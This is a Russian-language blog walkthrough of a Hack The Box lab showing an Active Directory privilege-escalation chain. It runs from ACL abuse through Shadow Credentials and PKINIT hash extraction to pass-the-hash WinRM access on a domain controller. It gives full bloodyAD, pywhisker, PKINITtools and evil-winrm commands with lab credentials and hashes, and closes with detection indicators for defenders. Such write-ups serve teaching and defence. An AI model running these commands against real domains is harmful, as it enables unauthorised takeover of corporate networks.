Захват домена через Shadow Credentials: подробный разбор Kill Chain
В этом посте разберем практический сценарий эскалации привилегий в Active Directory. Также посмотрим на техники горизонтального перемещения и инструменты для анализа защищенности.
Дано: скомпрометированный рядовой пользователь.
Задача: захват сервисной учетной записи с высокими привилегиями через цепочку ACL Abuse -> Shadow Credentials -> PKINIT -> Pass-the-hash.
Исходные данные и разведка
Анализ графа BloodHound показывает следующий путь атаки:

Наш текущий пользователь
JUDITH.MADERобладает правомWriteOwnerна группуMANAGEMENT.Группа
MANAGEMENTимеет правоGenericWriteна сервисную учетную записьMANAGEMENT_SVC.MANAGEMENT_SVCобладает привилегиями для удаленного доступа(в данном случаеCanPSRemote/ доступ к DC).
Этап 1: Перехват управления группой (ACL Abuse)
Задача: Стать участником группы MANAGEMENT, чтобы унаследовать ее права.
Механика: Право WriteOwner позволяет нам изменить владельца объекта. Как только мы становимся владельцами группы, мы можем модифицировать её DACL — выдать себе полные права (GenericAll) и добавить свою учетку в состав группы.
Эксплуатация (инструмент bloodyAD):

# 1. Захватываем владение группой
bloodyAD --host 10.10.10.10 -d certified.htb -u judith.mader -p judith09 set owner management judith.mader
# 2. Выдаем себе полные права (GenericAll) на объект группы
bloodyAD --host 10.10.10.10 -d certified.htb -u judith.mader -p judith09 add genericAll management judith.mader
# 3. Добавляем себя в группу
bloodyAD --host 10.10.10.10 -d certified.htb -u judith.mader -p judith09 add groupMember management judith.mader
Этап 2: Shadow Credentials (Lateral Movement)
Задача: Скомпрометировать учетку MANAGEMENT_SVC.
Проблема: Теперь мы в группе MANAGEMENT и у нас есть право GenericWrite на MANAGEMENT_SVC. Классический вектор здесь — Targeted Kerberoasting (прописать SPN и запросить TGS), но в нашем сценарии забрутфорсить хеш не удалось (сложный пароль).
Механика (Shadow Credentials): Право GenericWrite позволяет редактировать атрибут msDS-KeyCredentialLink. Мы генерируем собственный криптографический ключ и записываем его открытую часть в этот атрибут целевого пользователя. Это создает легитимный «теневой» мандат (сертификат) для аутентификации от имени MANAGEMENT_SVC, не затрагивая её текущий пароль.
Эксплуатация (инструмент pywhisker):

python3 pywhisker.py -d certified.htb -u judith.mader -p judith09 --target management_svc --action add Результат: pywhisker сгенерировал PFX-сертификат (в нашем случае RwBIWN2K.pfx) и пароль к нему. Атрибут жертвы обновлен.
Этап 3: Аутентификация через PKINIT и извлечение NTLM
Задача: Конвертировать полученный сертификат в NTLM-хеш для дальнейшего продвижения.
Механика:
Используя PFX-сертификат, мы обращаемся к контроллеру домена (KDC) и запрашиваем билет TGT через расширение протокола Kerberos — PKINIT (Public Key Cryptography for Initial Authentication).
Особенность PKINIT в том, что при успешной аутентификации KDC возвращает структуру PAC (Privilege Attribute Certificate), которая зашифрована сессионным ключом (AS-REP key) и содержит NTLM-хеш пользователя.
Эксплуатация (набор скриптов PKINITtools):

# 1. Запрашиваем TGT, используя PFX-сертификат. Сохраняем AS-REP encryption key из вывода.
python3 gettgtpkinit.py -cert-pfx RwBIWN2K.pfx -pfx-pass Kiildx10SBTj8yEJ3ic certified.htb/management_svc management_svc.ccache
# Экспортируем билет в переменную окружения
export KRB5CCNAME=/home/kali/management_svc.ccache
# 2. Извлекаем NTLM-хеш из полученного билета, используя AS-REP key
python3 getnthash.py -key '2ebec83fb9f92dc7b6684304d2645d12d8e00d46e9c3b9f6e2b455ecdef4630e' certified.htb/management_svc
Результат: Восстановлен NT-хеш: a091c1832bcdd4677c28b5a6a1295584.
Этап 4: Получение шелла
Имея валидный NTLM-хеш, используем классический Pass-the-Hash для подключения по WinRM к домен контроллеру под сервисной учетной записью.

evil-winrm -i 10.10.10.10 -u management_svc -H 'a091c1832bcdd4677c28b5a6a1295584'Получили интерактивный шелл к домен контроллеру.
Итоговый Kill-Chain

Вывод для Blue Team
Обнаружить эту цепочку можно по следующим индикаторам:
Event ID 4662: Операции над объектами. Обращайте внимание на модификацию атрибута
msDS-KeyCredentialLink(GUID:5b47d60f-6090-40b2-9f37-2a4de88f3063), особенно если действие инициировано обычной учеткой, а не системой управления или DC.Event ID 4768: Запрос TGT с использованием сертификата (Ticket Options:
0x40810010для PKINIT).Аудит избыточных прав (
WriteOwner,GenericWrite) в связке с критичными группами и сервисными аккаунтами.
Author: Абдурахим Халчабаев | Information Security Specialist & Red Teamer
Важное уведомление: Все описанные в данной статье манипуляции проводились в изолированной лабораторной среде на платформе Hack The Box. Данный материал подготовлен исключительно в образовательных целях. Автор не несет ответственности за попытки применения данных техник в реальных инфраструктурах без соответствующего разрешения.